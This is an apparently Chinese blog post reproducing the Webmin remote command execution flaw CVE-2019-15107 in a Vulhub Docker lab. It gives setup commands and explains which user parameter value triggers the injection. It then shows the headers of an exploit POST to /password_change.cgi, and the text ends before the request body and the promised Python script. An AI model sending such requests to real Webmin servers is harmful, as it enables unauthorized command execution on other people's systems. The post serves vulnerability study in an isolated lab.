Webmin 远程命令执行漏洞（CVE-2019-15107）复现，python编写POC和EXP

最新推荐文章于 2025-04-09 19:21:27 发布

原创

最新推荐文章于 2025-04-09 19:21:27 发布 · 620 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#python #安全漏洞 #web安全

本文详细介绍了如何通过Vulhub环境搭建CVE-2019-15107 Webmin漏洞，演示了漏洞复现过程并提供了POC代码。学习者将了解如何构造请求包执行命令，包括使用Python脚本进行exploit和命令执行的示例。

环境搭建：

使用vulhub，进入对应文件夹启动环境：


[root@localhost CVE-2019-15107]# cd /home/vulhub/webmin/CVE-2019-15107/
[root@localhost CVE-2019-15107]# docker-compose up -d

查看端口：

[root@localhost CVE-2019-15107]# docker ps
CONTAINER ID   IMAGE                 COMMAND                  CREATED         STATUS         PORTS                                           NAMES
a6c80145477b   vulhub/webmin:1.910   "/docker-entrypoint.…"   6 minutes ago   Up 6 minutes   0.0.0.0:10000->10000/tcp, :::10000->10000/tcp   cve-2019-15107_web_1

漏洞复现：

执行完成后，访问https://your-ip:10000，忽略证书后即可看到webmin的登录页面。
参考链接中的数据包是不对的，经过阅读代码可知，只有在发送的user参数的值不是已知Linux用户的情况下（而参考链接中是user=root），才会进入到修改/etc/shadow的地方，触发命令注入漏洞。

发送如下数据包，即可执行命令id：

POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60